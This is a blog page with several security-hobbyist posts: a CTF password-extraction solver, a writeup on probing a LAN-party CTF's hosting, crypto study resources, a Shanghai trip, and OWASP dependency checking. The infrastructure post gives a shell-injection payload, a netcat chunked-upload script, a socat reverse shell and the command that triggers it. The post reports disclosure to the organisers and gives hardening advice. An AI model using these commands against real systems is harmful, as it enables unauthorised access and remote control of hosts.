Writeup for auto challenge at The Gathering

18/04/17 — capitol









The auto challenge piped a base64 encoded binary at us, and then asked us to provide the password from that binary.

Visual inspection showed us that something that looked like a password was stored in plain text between the strings “Password:” and “You did it”.

When the correct password was returned within a second, the whole thing repeated. After about 5 or 6 times the flag was returned.

I wrote a small java function to extract the string and send that back:

    public void solve() throws Exception {
        String hostName = "auto.tghack.no";
        int portNumber = 2270;

        try (
                Socket echoSocket = new Socket(hostName, portNumber);
                PrintWriter out = new PrintWriter(echoSocket.getOutputStream(), true);
                BufferedReader in = new BufferedReader(new InputStreamReader(echoSocket.getInputStream()));
        ) {
            while(true) {
                String input = in.readLine();

                System.out.println("input = " + input);
                byte[] decoded = Base64.getDecoder().decode(input);

                String b = new String(decoded);

                String password = b.substring(b.indexOf("Password:") + 13, b.indexOf("You did it") - 1);

                String input2 = in.readLine();
                System.out.println("input1 = " + input2);


                input2 = in.readLine();
                System.out.println("input2 = " + input2);

The flag was TG17{bin4ries_3verywhere_wh4t_t0_d0}

Investigating the ctf infrastructure at The Gathering

17/04/17 — capitol









The biggest lan party here in norway is The Gathering, and they also organize a small ctf, tghack.

The Time challenge presented us with a prompt for our name, and then printed that name and the current time.

The server side code did this by running a shell command, and the input wasn’t sanitized.

We got the flag by entering $(cat flag.txt) as the name. It was TG17{tick_t0ck_arbitrary_c0de_execution}.

But then we looked around some more, and discovered that /tmp was writeable and executable, and gcc was also installed. A peek at the files in /etc confirmed our guess that it ran as a docker image.

Someone also entered a fork bomb into the challenge, and that confirmed that many of the challenges ran on the same host, as the organizers hadn’t set any limit or cgroup rules.

At this point we decided it was time to do some responsible disclosure to the organizers. As it might have been possible to MITM the network traffic to the other challenges with an arp poison attack, as described here.

That done we wrote a small program to upload our binaries to /tmp/

# made for tghack '17
# desc: upload a file chunked through a shell with length
#       restrictions of commands. you might need to manually
#       tune the BUFLEN to stay within the limits. sh syntax
#       errors appears when you're out of bounds.
# todo: progress bar

if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then
  >&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]"
  exit 2

# Compress file and remove newlines to make it easy to echo
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')"


NETCAT="nc -q 0 $HOST $PORT"

# Upload file
while [ $INDEX -le $SIZE ]; do

  # Pipe chunk through netcat and append to destination file
  # \x60 is a backtick
  printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT


# Decompress and make executable
printf '\x60cat %b|base64 -d|zcat>%b.sh\x60' $DEST $DEST | $NETCAT
printf '\x60chmod +x %b.sh\x60' $DEST | $NETCAT

echo "Executable at $DEST.sh"

Some more exploring reveled that they hadn’t blocked outgoing connections from the docker image, so we created the reverse shell binary:

socat tcp:$1:$2 exec:"bash -i",pty,stderr,setsid,sigint,sane

uploaded it to the server:

ncupl time.tghack.no 1111 ./reverse-shell.sh c

started listening for connections on our own server:

socat -,raw,echo=0 tcp-listen:14243

then initiated the reverse shell connection from the remote host:

echo '$(/tmp/c.sh <our serverip> 14243)' | nc time.tghack.no 1111

This made it a lot easier to explore the system, unfortunately other obligations came up, so we didn’t manage to find any other vulnerabilities.

Our recommendations for hosting challenges are these:

  1. Set limits on the amount of resources each challenge can consume, so that a problem with one challenge doesn’t block people from using the other challenges.
  2. Lock down the file system if it’s not part of the challenge to gain a shell, no need to have any of it writeable.
  3. Letting people send network traffic out might not be the best thing, no need to be a jump host in real attacks.

We would also like to give credit to the organizers of the ctf, for building a lot of nice challenges that did a great job of teaching those that are new to the hobby. They were also very responsive when we reported problems to them.

Resources for becoming a better hacker - Part 1, crypto

10/04/17 — capitol


The skill set of a good hacker should cover a wide array of different topics, today we are going to take a dive into one of those areas - Cryptographic systems.

Modern cryptography is a field that really took off 1976 when Diffie and Hellman introduced public-key cryptography and a method for key exchange based on the discrete logarithm problem. Since then there has been many great developments within the field and more algorithms have been designed based on hard mathematical problems.

Thankfully most people (that are not doing it as a living) have stopped inventing their own encryption algorithms, so it’s rare that there is a weakness in the algorithm. But that doesn’t mean that there isn’t any avenues for attack for a skilled hacker. There is no shortage of mistakes being made in the implementation of the algorithms that we think are safe, and even if the implementation is without obvious exploits then it might leak information through side channels (caches, timing, power usage) or maybe the implementation of the random number generator can be attacked.

In order to be able to understand the how to build secure systems, or how to attack them, I recommend two things, a solid theoretical understanding and lots of practice.

Theoretical Texts

One of the classic books on the subject is “Handbook of Applied Cryptography” and is available for free here:


Useful Libraries

There is a lot of libraries that implement cryptographic primitives so that you don’t have to reinvent wheels. I have listed to two biggest ones for python and java below, but there isn’t any shortage of libraries for other languages.

Python: pycrypto

Java: bouncycastle

Training Exercises

Theoretical knowledge is great, but there is no more effective way to learn something than to practice it. These are sets of challenges that lets you try to figure and implement solutions.

The best set of training exercises I have found is the cryptopals one.




(image by parameter_bond, Creative Commons 2.0)

Visiting Xin Che Jian hackerspace in Shanghai

04/04/17 — head


A couple of weeks ago i was in China visiting Shanghai, driven by curiosity. Most of the news i read about China are about the alarming levels of air pollution, the exploitation of labour and of course censorship and lack of civil liberties.


I found out that although these are all true, Shanghai has also much more to offer. For example some of the best and cheapest food i have ever had, a lively cultural scene and a quite stilish and laid back lifestyle. Also impressive is the offer of services and goods, and how accessible the city is, considering that almost no one speaks English.

High skyscrapers boasting with activities, 4 lanes elevated roads, huge shopping malls and 15 metro lines coexist side by side with quiet and elegant districts, known as the lilongs settlements, an architectural heritage of the pre-communist era, built between 1840 and 1940, coinciding with the western presence in this port city.

Read More

Detect security problems at compile time

02/04/17 — capitol


A large part of modern software engineering consists of standing on the shoulders of other peoples code, this makes us more productive and lets us focus on the solving our business problems rather than reinventing wheels all the time.

But sometimes security problems are discovered in those libraries, if the project is well maintained they request a CVE number, patch the bug and release a new version. CVE numbers are the canonical identifiers for security problems and they are issued by the CVE Numbering Authority.

It’s obvious that we don’t want to use libraries in our projects that have known security holes, but how can we automate this this?

OWASP have solved this problem for us, with their Dependency Check project. It can integrate as a step in your build chain and verify your external dependencies.

For java this is done with a maven plugin, you can easily add this to your pom.xml:


When I run mvn verify in one of my projects with the above configuration it produces this output:

One or more dependencies were identified with known vulnerabilities in ctlog:

httpclient-4.3.3.jar (cpe:/a:apache:httpclient:4.3.3, org.apache.httpcomponents:httpclient:4.3.3) : CVE-2015-5262, CVE-2014-3577
bcprov-jdk15on-1.49.jar (cpe:/a:bouncycastle:bouncy-castle-crypto-package:1.49, cpe:/a:bouncycastle:bouncy_castle_crypto_package:1.49, org.bouncycastle:bcprov-jdk15on:1.49) : CVE-2015-7940

See the dependency-check report for more details.

And this report is produced.

It’s also possible to configure it to fail the build on any vulnerability, or if a severe enough problem is discovered.

My opinion is that this should be used in all projects, in order to quickly discover security problems and give the developers the possibility to act on them.